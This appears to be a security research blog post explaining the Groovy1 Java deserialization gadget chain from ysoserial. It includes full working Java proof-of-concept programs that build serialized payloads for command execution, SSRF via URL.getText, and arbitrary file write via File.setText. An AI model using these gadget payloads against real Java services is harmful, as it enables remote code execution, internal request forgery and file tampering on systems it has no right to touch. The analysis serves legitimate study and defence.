Groovy1

Java Deserialization Groovy Gadget Chain

In this blog post we will dissect the Groovy1 Gadget chain.

We will analyze the gadget present in ysoserial, how we can modify it to use a different data structure, and how we can achieve SSRF and Arbitrary File Write by targeting different functions in the gadget flow.

Prerequisites: CommonsCollection1 and CommonsCollection2.
Please go through these two blogs to have a firm understanding before diving in.

The gadget flow looks like this:

ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() ConvertedClosure.invoke() MethodClosure.call() ProcessGroovyMethods.execute(String) Runtime.exec()

Understanding Groovy Closures

Before diving deep, let's understand a few things about Groovy.

In Groovy, there is a concept called Closure, MethodClosure, and ConvertedClosure.

In Groovy, a Closure is a block of code that can be passed around like a variable. For example, if we take MethodClosure:

import org.codehaus.groovy.runtime.MethodClosure; public class a { public static void main(String args[]) { MethodClosure mc = new MethodClosure("calc.exe", "execute"); mc.call(); } }

The code above will execute calc.exe (we will understand how it works shortly, but for now let's keep this in mind).

MethodClosure execution

A ConvertedClosure is an adapter that makes a Closure look like a Java interface. It helps you intercept method calls and redirect them to another handler.

So if you wrap your MethodClosure in a ConvertedClosure and invoke it, this will trigger the MethodClosure.

However, triggering the ConvertedClosure is a little tricky.

But let's come back to this in a bit. Let's take a look at the gadget code.


The Gadget Code (ysoserial)

public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { public InvocationHandler getObject(final String command) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); //[1] final Map map = Gadgets.createProxy(closure, Map.class); //[2] final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); //[3] return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(Groovy1.class, args); } }

The above code at [1] creates a ConvertedClosure that wraps a MethodClosure.

Looking at [2], it creates a dynamic Proxy using the above Closure with Map.class as the interface (remember, a dynamic proxy requires three things: a ClassLoader, an Interface, and a Handler — here the Closure is the handler).

But why do we use a Closure as the handler?

ConvertedClosure extends ConversionHandler, which implements InvocationHandler.

As we know from our previous research, if we create a dynamic proxy and set the handler to an object of a class that implements InvocationHandler, then the invoke() method on that class gets executed.

ConversionHandler invoke

In the invoke() method of ConversionHandler.java, if checkMethod() returns false, then invokeCustom() gets called.

checkMethod and invokeCustom

This further calls invokeCustom() on the ConvertedClosure class.

ConvertedClosure invokeCustom

This then calls Closure.call(). Since our Closure is a MethodClosure, we have already seen how MethodClosure.call() works.

In short, if we can reach the invoke() method of ConversionHandler, we can achieve code execution.

Now the question is: how do we reach here?

Whenever you see a class that implements InvocationHandler, the go-to mechanism for reaching invoke() is a Dynamic Proxy.

We can create a Dynamic Proxy with this Closure as the Handler, and whenever any method is called on the proxy, the invoke() method will be triggered.


Building the Exploit with PriorityQueue

So let's look at the code below.

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.ObjectOutputStream; import org.codehaus.groovy.runtime.ConvertedClosure; import groovy.lang.Closure; import org.codehaus.groovy.runtime.MethodClosure; import java.net.URL; class a { public static void main(String[] args) { // Create a simple Closure try{ MethodClosure mc = new MethodClosure("notepad.exe", "execute"); // Wrap it in ConvertedClosure, specifying which method to intercept ConvertedClosure handler = new ConvertedClosure(mc, "compare"); Comparator proxy = (Comparator) Proxy.newProxyInstance( ConvertedClosure.class.getClassLoader(), new Class<?>[]{ Comparator.class }, handler ); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, (Comparator<Object>) proxy); priorityQueue.add(1); priorityQueue.add(2); }catch(Exception e) { e.printStackTrace(); } } }

Looking at the above code:

We create a PriorityQueue and perform an add operation, which triggers compare() on the Comparator we provide. In our case, the Comparator is a Dynamic Proxy with ConvertedClosure as the Handler.

So theoretically, this should launch notepad.exe. The code flow is:

PQueue → Comparator.compare → DProxy.compare → Handler.invoke() → invokeCustom() → MethodClosure.call

When we execute it:

MissingMethodException error

Looking at the error, it says the method signature was not found for String.execute(), which makes sense — String.class does not have a method called execute(). So why are we calling it this way, and how was it working previously?


How MethodClosure.call() Works

In Groovy, the GDK (Groovy Development Kit) is how Groovy adds extra methods to existing Java classes without modifying them. Classes like String, List, File, etc. get new convenient methods that don't exist in standard Java.

How it works: Groovy uses extension methods — static methods in helper classes that act as if they're instance methods on the target class. At runtime, Groovy's meta-object protocol (MOP) intercepts method calls and routes them to the appropriate helper class.

In short, in Groovy there are classes like:

DefaultGroovyMethods ProcessGroovyMethods StringGroovyMethods IOGroovyMethods

These classes provide additional functionality to existing Java classes without modifying them.

To find out which class and method belongs to which data type, look at org.codehaus.groovy.runtime.DefaultGroovyMethods. Every method here belongs to a certain data type class, adding additional processing capability.

The first argument of these methods determines which data type they extend.

For example, if you check withStreams method, the first argument is of Socket type, meaning this functionality is added for Socket-type objects.

So when we pass "notepad.exe" and "execute" to MethodClosure, it routes to the execute() function for the String type.

But there are many execute() overloads that take String as the first argument.

Function Overloading & the ConvertedClosure

This is where function overloading comes into the picture. Let's go back to the ConvertedClosure class and the invokeCustom function.

ConvertedClosure invokeCustom

((Closure) getDelegate()).call(args) is basically calling MethodClosure.call(args) (since we wrapped MethodClosure in the ConvertedClosure).

So the above code effectively becomes: MethodClosure.call(1, 1)

The (1, 1) arguments come from PriorityQueue's siftDownUsingComparator() call, which is what we use as the trigger.

MethodClosure's doCall()

Now let's look at the MethodClosure class. This class has a function called doCall:

MethodClosure doCall

getOwner() → "Calc.exe"
method = "Execute"
arguments = 1, 1

InvokerHelper Chain

The invokeMethod is present in the InvokerHelper class:

public static Object invokeMethod(Object object, String methodName, Object arguments) { if (object == null) { object = NullObject.getNullObject(); } // if the object is a Class, call a static method from that class if (object instanceof Class) { Class theClass = (Class) object; MetaClass metaClass = metaRegistry.getMetaClass(theClass); return metaClass.invokeStaticMethod(object, methodName, asArray(arguments)); } // it's an instance; check if it's a Java one if (!(object instanceof GroovyObject)) { return invokePojoMethod(object, methodName, arguments); } // a groovy instance (including builder, closure, ...) return invokePogoMethod(object, methodName, arguments); }

The object is not null, so the first condition fails.

"Calc.exe" is not an instance of a Class, so the second condition fails.

The third condition checks if this is not a GroovyObject instance — this check passes, so invokePojoMethod() gets called.

static Object invokePojoMethod(Object object, String methodName, Object arguments) { MetaClass metaClass = InvokerHelper.getMetaClass(object); return metaClass.invokeMethod(object, methodName, asArray(arguments)); }

This further calls getMetaClass(), which takes an Object as its argument.

public static MetaClass getMetaClass(Object object) { if (object instanceof GroovyObject) return ((GroovyObject) object).getMetaClass(); else return ((MetaClassRegistryImpl) GroovySystem.getMetaClassRegistry()).getMetaClass(object); }

Our object here is "calc.exe", which is not a GroovyObject, so the else block is executed.

The MetaClassRegistryImpl.getMetaClass:

public MetaClass getMetaClass(Object obj) { return ClassInfo.getClassInfo(obj.getClass()).getMetaClass(obj); }

This resolves our entry "calc.exe" to its class type (String.class) and then searches for the relevant MetaClass.

This searches for GroovyMethods classes that accept String.class. Once found, it returns to invokePojoMethod and calls invokeMethod on MetaClassImpl with "execute" as the method name. Based on our earlier analysis of DefaultGroovyMethods, this leads to ProcessGroovyMethods.

In ProcessGroovyMethods, there is no execute() overload that accepts 2 extra arguments (as passed by the compare call), which is why we get the error:

groovy.lang.MissingMethodException: No signature of method: java.lang.String.execute() is applicable for argument types: (java.lang.Integer, java.lang.Integer) values: [2, 1]

In short, when we use PriorityQueue to reach ConversionHandler's invoke() method, our "calc.exe".execute() becomes ProcessGroovyMethods.execute("calc.exe", 2, 1) and ProcessGroovyMethods has no execute(String, Integer, Integer) signature.

But in ProcessGroovyMethods, we have:

public static Process execute(final String self) throws IOException { return Runtime.getRuntime().exec(self); }

So if we use an entry point that passes no extra arguments, our call becomes ProcessGroovyMethods.execute("calc.exe"), which leads to code execution.


Why Not HashMap?

Instead of PriorityQueue, you might think we could use a HashMap, since its methods do not take extra arguments by default — which might seem to allow code execution.

However, this would not succeed. Since hashCode is defined in java.lang.Object, checkMethod() on ConversionHandler will return true, and we will never reach MethodClosure.call.


AnnotationInvocationHandler

The AnnotationInvocationHandler class present in the JDK has a readObject() method that calls entrySet() on the memberValues.

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); @SuppressWarnings("unchecked") Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null); @SuppressWarnings("unchecked") Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(t); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); Map<String, Object> mv = new LinkedHashMap<>(); for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); Object value = null; Class<?> memberType = memberTypes.get(name); if (memberType != null) { value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { value = new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)); } } mv.put(name, value); } UnsafeAccessor.setType(this, t); UnsafeAccessor.setMemberValues(this, mv); }

This readObject() calls entrySet() on memberValues. The memberValues field is set via the constructor, which we set to our Dynamic Proxy.

The flow is:

AnnotationInvocationHandler → readObject → DProxy.entrySet → ConversionHandler.invoke → invokeCustom → ConvertedClosure.invokeCustom → MethodClosure.call → ProcessGroovyMethods.execute("calc.exe")

Since entrySet() takes no arguments, the full exploit works.

Full Payload Code

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import org.codehaus.groovy.runtime.ConvertedClosure; import groovy.lang.Closure; import org.codehaus.groovy.runtime.MethodClosure; import java.net.URL; class exp_hash { public static void main(String[] args) { try{ MethodClosure mc = new MethodClosure("notepad.exe", "execute"); // Wrap it in ConvertedClosure, specifying which method to intercept ConvertedClosure handler = new ConvertedClosure(mc, "entrySet"); // Creating the DynamicProxy so that we can reach ConversionHandler.invoke Map proxy = (Map) Proxy.newProxyInstance( ConvertedClosure.class.getClassLoader(), new Class<?>[]{ Map.class }, handler ); // Initialising the AnnotationInvocationHandler constructor Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> ctor = aihClass.getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler aih = (InvocationHandler) ctor.newInstance( Override.class, proxy ); // Serialize and Deserialize ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(aih); oos.close(); String encoded = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(encoded); byte[] decoded = Base64.getDecoder().decode(encoded); ByteArrayInputStream bis = new ByteArrayInputStream(decoded); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); }catch(Exception e) { e.printStackTrace(); } } }
Successful RCE with AnnotationInvocationHandler

So this is how the original Gadget Chain works.


Extra Miles

Let's take a step back and try to use PriorityQueue to execute our system command.

By now, you should know that every time MethodClosure.call(args) is invoked, it routes to <Something>GroovyMethods.java.

So when we trigger this from PriorityQueue's compare method, MethodClosure("notepad.exe", "execute") leads to ProcessGroovyMethods.execute("notepad.exe", 2, 1).

However, if there exists a function that takes 3 arguments (including self) and executes our input via Runtime.getRuntime().exec(), we can still achieve code execution.

RCE via PriorityQueue

Checking DefaultGroovyMethods.java:

@Deprecated public static Process execute(final String self, final String[] envp, final File dir) throws IOException { return ProcessGroovyMethods.execute(self, envp, dir); }

If we can reach this method, it will lead to code execution. The only restriction is that all argument data types must implement the Serializable interface.

The data types used are String and File — and fortunately, both implement Serializable.

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.ObjectOutputStream; import org.codehaus.groovy.runtime.ConvertedClosure; import groovy.lang.Closure; import org.codehaus.groovy.runtime.MethodClosure; import java.net.URL; class exploit { public static void main(String[] args) { try{ File f1 = new File("D:\\Security Research\\Java Research\\...\\groovy1\\"); String[] envp = new String[]{"foo=bar"}; String command = "notepad.exe"; MethodClosure mc = new MethodClosure(command, "execute"); // Wrap it in ConvertedClosure, specifying which method to intercept ConvertedClosure handler = new ConvertedClosure(mc, "compare"); Comparator proxy = (Comparator) Proxy.newProxyInstance( ConvertedClosure.class.getClassLoader(), new Class<?>[]{ Comparator.class }, handler ); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, (Comparator<Object>) proxy); // Using Reflection to set the queue entries Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue, new Object[]{ envp, f1 }); // passing envp and f1 as per execute() signature Field sizeField = PriorityQueue.class.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(priorityQueue); oos.close(); String encoded = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(encoded); }catch(Exception e) { e.printStackTrace(); } } }
Successful RCE via PriorityQueue

Similarly, we can use the same technique to achieve Server-Side Request Forgery (SSRF) and Arbitrary File Write.


SSRF via PriorityQueue

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import org.codehaus.groovy.runtime.ConvertedClosure; import groovy.lang.Closure; import org.codehaus.groovy.runtime.MethodClosure; import java.net.URL; class exploit_ssrf_pq { public static void main(String[] args) { try{ URL u = new URL("http://localhost:9001/pwnedViaJDViaPriorityQueue"); MethodClosure mc = new MethodClosure(u, "getText"); ConvertedClosure handler = new ConvertedClosure(mc, "compare"); Comparator proxy = (Comparator) Proxy.newProxyInstance( ConvertedClosure.class.getClassLoader(), new Class<?>[]{ Comparator.class }, handler ); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, (Comparator<Object>) proxy); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue, new Object[]{ new HashMap<>(), "UTF-8" }); Field sizeField = PriorityQueue.class.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2); // Serialize and Deserialize ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(priorityQueue); oos.close(); String encoded = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(encoded); byte[] decoded = Base64.getDecoder().decode(encoded); ByteArrayInputStream bis = new ByteArrayInputStream(decoded); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); }catch(Exception e) { e.printStackTrace(); } } }

The above code targets the getText() method present in ResourceGroovyMethods.java:

public static String getText(URL url, Map parameters, String charset) throws IOException { return ResourceGroovyMethods.getText(url, parameters, charset); }

Since the URL class is also Serializable, we can use it to achieve SSRF.

SSRF via PriorityQueue

Arbitrary File Write

Similarly, we can target setText() to overwrite any file on the filesystem.

Target Function:

public static void setText(File file, String text, String charset) throws IOException { ResourceGroovyMethods.setText(file, text, charset); }

PoC Code:

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import org.codehaus.groovy.runtime.ConvertedClosure; import groovy.lang.Closure; import org.codehaus.groovy.runtime.MethodClosure; import java.net.URL; class exploit_arbitrary_file_write { public static void main(String[] args) { try{ File f1 = new File("D:\\Security Research\\...\\poc.txt"); MethodClosure mc = new MethodClosure(f1, "setText"); // Wrap it in ConvertedClosure, specifying which method to intercept ConvertedClosure handler = new ConvertedClosure(mc, "compare"); Comparator proxy = (Comparator) Proxy.newProxyInstance( ConvertedClosure.class.getClassLoader(), new Class<?>[]{ Comparator.class }, handler ); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, (Comparator<Object>) proxy); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue, new Object[]{ "POCWORKING", "UTF-8" }); Field sizeField = PriorityQueue.class.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2); // Serialize and Deserialize ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(priorityQueue); oos.close(); String encoded = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(encoded); byte[] decoded = Base64.getDecoder().decode(encoded); ByteArrayInputStream bis = new ByteArrayInputStream(decoded); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); }catch(Exception e) { e.printStackTrace(); } } }
Arbitrary File Write PoC

Similarly, we can target different functions to exploit different vulnerabilities.

This is how the entire Gadget Chain works.

Hope you liked it.

Thats it for Today.

Thanks For Reading.

Happy Hacking.

You can connect with me at:

Linkedin

Twitter